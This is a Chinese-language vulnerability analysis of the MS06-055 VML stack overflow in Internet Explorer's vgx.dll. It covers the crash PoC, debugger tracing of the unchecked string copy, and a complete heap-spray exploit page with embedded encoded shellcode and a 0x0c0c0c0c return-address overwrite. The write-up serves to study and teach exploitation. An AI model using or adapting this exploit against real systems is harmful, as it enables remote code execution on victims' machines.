分析MS06-055 IE 栈溢出漏洞

分析MS06-055 IE 栈溢出漏洞
2019-06-24 09:20:00 Author: xz.aliyun.com(查看原文) 阅读量:95 收藏

目录：
0x1：漏洞触发原理
0x2：分析环境准备
0x3：VML标记语言简介
0x4：通过POC代码观察漏洞
0x5：漏洞的利用

MS06-055是 IE 在解析 VML 标记语言时，由于没有做字符串长度的限制而存在的基于栈的缓冲区溢出漏洞。引起栈溢出的是 IE 的核心组件 vgx.dll，引起漏洞的函数是 vgx.dll库中的SHADETYPE_TEXT::TEXT(ushort co nst * ,in t)。

windows2000SP4，OD，IDA
IE版本：5.00.3700.1000
Vgx.dll版本：5.0.3014.1003

VML 即矢量标记语言（Vector Markup Language），IE 从 5.0 版本以后开始在 HTML 文件中支持这种语言。在 Web 应用中如果需要绘制的图形比较简单，就可以使用矢量标记语言，用文本方式告诉客户端一些关键的绘图坐标，浏览器按照 VML 语言格式解析了这些坐标之后就能绘出精确的图形。例如下面这段 HTML：

<html xmlns:v="urn:schemas-microsoft-com:vml">
 <head>
 <title>failwest</title> 
<style>
 <!--v\:* { behavior: url(#default#VML); }-->
 </style>
 </head>
 <body> 
<v:rect style="width:44pt;height:44pt" fillcolor="black"> 
<v:fill method="QQQQ"/>
 </v:rect>
 </body>
 </html>

在上述代码中，告诉浏览器以下绘图信息。 v:rect表示需要绘制的图形形状为矩形。也可绘制其他形状，如 Line、Polyline、Curve、l Roundrect 等。style=width:44pt，表示矩形宽为 44 个像素， height:44pt，表示矩形高为 44 个像素。fillcolor=black ，表示该矩形用黑色填充。也就是说，这一行 VML 代码告诉客户端在屏幕上绘制一个尺寸为 44×44 像素的颜色为黑色的正方形。运行这段HTML代码可以看到如下图所示的效果：

可以通过上面的HTML代码来观察这个漏洞：

<html xmlns:v="urn:schemas-microsoft-com:vml">
 <head>
 <title>failwest</title> 
<style>
 <!--v\:* { behavior: url(#default#VML); }-->
 </style>
 </head>
 <body> 
<v:rect style="width:44pt;height:44pt" fillcolor="black"> 
<v:fill method="QQQQ"/>
 </v:rect>
 </body>
 </html>

引起漏洞的函数是 vgx.dll库中的SHADETYPE_TEXT::TEXT(ushort co nst * ,in t)，它会将页面中<v:fill method="QQQQ"/>数据域中的字符串在未经长度限制的情况下复制到栈中，造成溢出。

我们可以先用IDA对vgx.dll进行反汇编来了解这个函数的一些基本信息，这里采用的vgx.dll的版本是5.00.3700.1000，该文件在“C:\Program Files\Common Files\Microsoft Shared\VGX\“目录下，用IDA加载后，通过”View“=>”Open Subviews”=>”Functions”找到对应函数SHADETYPE_TEXT::TEXT(ushort co nst * ,in t),所在地址为0x659D7B46。

目前还不知道溢出发生的具体位置，只知道它在这个函数中，所以需要通过动态跟踪在漏洞函数中观察栈溢出发生的位置，得到了漏洞函数地址就可以进行动态调试。
这里先将vgx.dll用OD加载，然后Ctrl+G找到漏洞函数地址0x659D7B46并下断点，然后打开IE，并用OD附加，F9运行之后用IE打开上述的HTML程序，结果发现程序虽然顺利运行，但是漏洞函数没有被断下。

因此，直接用OD打开IE，然后在IE中打开HTML程序，让程序正常运行，这时vgx.dll已经被IE加载，然后Crtl+G定位到漏洞函数地址并下断点，接着刷新IE，于是，漏洞函数被顺利断下，来到了漏洞函数的入口处。

之前在分析POC代码的的时候提到：漏洞函数SHADETYPE_TEXT::TEXT(ushort co nst * ,in t)将页面中<v:fill method="QQQQ"/>数据域中的字符串在未经长度限制的情况下复制到栈中，造成溢出。于是，在接下来的单步跟踪过程中，注意观察右下角的栈中在执行完哪条指令后会出现"QQQQ"，由此来定位溢出发生的具体位置。
接着F8单步执行，同时观察栈中状态，当执行完0x659D7B86处的“Call 659D7AEA“之后可以发现，字符串"QQQQ"被复制到栈中，由此推测这个函数应该是溢出发生的地方。

我们可以用多个“Q“来填充数据域(<v:fill method="QQQQ…………QQQQ"/>)，看看0x659D7B86处的“Call 659D7AEA“会不会对字符串长度进行限制。按照之前的方法，用OD重新加载IE，然后用IE打开新编写的HTML程序，运行之后在漏洞函数地址下断，然后刷新IE，来到断点处，之后F8单步执行，执行完0x659D7B86处的函数之后可以看到大量”Q“字符被复制到了栈中，如果计算出字符串复制的起始地址到函数的返回地址的距离，便可以用精心构造的数据覆盖函数返回地址，从而控制程序流程。

0x659D7B86处的“Call 659D7AEA“复制字符串造成了溢出，在0x659D7B86之前的汇编指令也没有对字符串的长度进行判断。

重新加载后F7跟进去看看0x659D7B86处的“Call 659D7AEA“函数，可以发现该函数只是不断在循环往复对数据域中的字符进行复制，没有检测字符串长度。

由于没有对要数据域中的字符串进行长度检测，导致多余的字符覆盖返回地址，程序流程就可以被修改。

接着用HeapSpray构造一个同于弹出一个对话框的exploit。大致步骤如下：
（1）首先在页面中使用 JavaScript连续申请 200 块大小为 1MB 的内存空间。每个内存块都以 0x90 填充，并在内存块的末尾部署 shellcode。
（2）JavaScript 的内存申请从内存低址 0x00000000 向内存高址分配，200MB（200MB=20010241024=0x0C800000>0x0C0C0C0C）的内存申请意味着内存地址 0x0c0c0c0c 将被申请的内存块覆盖。
（3）用足够多的 0x0c 字节填充缓冲区，确保返回地址被覆盖为 0x0c0c0c0c。
（4）函数返回后，会跳去堆区的地址 0x0c0c0c0c 取指执行，恰好遇到我们申请的其中一块堆内存。0x0C和0x90一样，对程序执行无关痛痒，eip遇到这类指令只会“滑过去“，顺序执行完大量的 nop 指令之后，CPU 将最终将执行 shellcode。
Exploit的基本结构如下：

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>failwest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<script language="javascript">
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length<= 0x100000/2)
{
    nop+=nop;
}
<!--生成一个 1MB 大小充满 0x90 的数据块-->
var slide = new Array();
for (var i=0; i<200; i++)
{
    slide[i] = nop + shellcode;
}
<!—申请200个内存块-->
</script>
<body>
<v:rect style="width:444pt;height:444pt" fillcolor="black">
<v:fill method="ఌఌఌ
<!--由于篇幅太长，此处省略很多“ఌ“-->
ఌఌఌఌఌఌఌఌ "/>
<!—HTML的数据域用大量0x0C来填充，用来覆盖返回地址-->
</v:rect>
</body>
</html>

完成后执行这个HTML，对话框成功弹出。

接着按照之前的方法来调试跟踪这段HTML，看看具体的利用过程，但是会发现程序运行一段时间后就终止了，不能弹出对话框。

试了一些方法后发现可以先用OD加载IE，然后运行POC代码，之后在漏洞函数地址0x659D7B46下断，这时候程序的执行权属于IE，用IE打开exploit程序，就能在漏洞函数地址处断下。之后F7跟进0x659D7B86处的“Call 659D7AEA“函数，可以看到大量的”0x0C“被复制：

复制完成后可以看到：函数在返回的时候，返回地址已经被“0x0C0C0C0C “覆盖：

接着eip去堆区的“0x0C0C0C0C“取指执行，会遇到”nop+shellcode“的内存片，eip先滑过nop：

然后shellcode被顺利执行：

文章来源: http://xz.aliyun.com/t/5461
如有侵权请联系:admin#unsafe.sh